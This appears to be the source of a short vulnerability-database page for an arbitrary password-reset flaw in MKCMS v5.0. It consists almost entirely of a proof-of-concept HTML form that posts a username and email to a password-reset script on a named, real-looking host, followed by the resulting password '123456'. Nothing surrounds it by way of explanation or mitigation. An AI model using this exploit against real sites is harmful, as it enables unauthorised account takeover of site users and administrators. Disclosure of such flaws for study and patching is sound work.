View source for MKCMS v5.0 任意密码重置漏洞

==POC==
<pre>
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://v.micool.top/ucenter/repass.php" method="POST">
      <input type="hidden" name="u&#95;name" value="lduo123" />
      <input type="hidden" name="u&#95;email" value="admin&#64;gmail&#46;com" />
      <input type="submit" value="Submit request" />
    </form>                         
  </body>
</html>
</pre>

password:123456